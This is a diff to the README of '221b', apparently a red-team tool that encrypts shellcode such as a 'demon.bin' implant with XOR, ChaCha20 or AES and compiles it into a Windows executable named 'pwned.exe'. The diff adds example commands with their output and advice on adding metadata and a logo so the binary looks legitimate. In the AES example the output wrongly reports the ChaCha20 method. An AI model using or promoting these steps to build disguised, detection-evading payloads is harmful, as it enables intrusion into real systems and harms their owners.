@@ -40,10 +40,59 @@ Global Flags:
40
40
41
41
```
42
42
43
- ## Example
43
+ ## Binary properties
44
+
45
+ It is possible to add a certain number of metadata as well as a logo via the folder named ` misc ` .
46
+
47
+ also remember to modify the ` versioninfo.json ` file at the root of the project
48
+
49
+
50
+ here's a preview of the final rendering, so don't ignore this part when planning a red team operation.
51
+
52
+ ![ ] ( /img/preview.png )
53
+
54
+
55
+ ## Possible execution methods
56
+
57
+ ### XOR :
44
58
45
59
``` shell
46
- 221b bake -k shflfhje -s test.sh
60
+ 221b bake -k " @ShLkHms221b" -s /PathToShellcode/demon.bin -o pwned.exe
61
+ [+] use xor encryption method
62
+ [+] encrypting demon.bin
63
+ [+] loading encrypted shell into payload
64
+ [+] compiling binary
65
+ go: added golang.org/x/crypto v0.11.0
47
66
go: added golang.org/x/sys v0.10.0
48
- [+] file compiled to ./test.exe
49
- ```
67
+ [+] file compiled to pwned.exe
68
+ ```
69
+
70
+ ### Chacha20
71
+
72
+ ``` shell
73
+ 221b bake -m chacha20 -k " 0123456789ABCDEF1123345611111111" -s /PathToShellcode/demon.bin -o pwned.exe
74
+ [+] use chacha20 encryption method
75
+ [+] encrypting demon.bin
76
+ [+] loading encrypted shell into payload
77
+ [+] compiling binary
78
+ go: added golang.org/x/crypto v0.11.0
79
+ go: added golang.org/x/sys v0.10.0
80
+ [+] file compiled to pwned.exe
81
+ ```
82
+
83
+
84
+ ### AES
85
+
86
+ ``` shell
87
+ 221b bake -m aes -k " 0123456789ABCDEF1123345611111111" -s /PathToShellcode/demon.bin -o pwned.exe
88
+ [+] use chacha20 encryption method
89
+ [+] encrypting demon.bin
90
+ [+] loading encrypted shell into payload
91
+ [+] compiling binary
92
+ go: added golang.org/x/crypto v0.11.0
93
+ go: added golang.org/x/sys v0.10.0
94
+ [+] file compiled to pwned.exe
95
+ ```
96
+
97
+
98
+
0 commit comments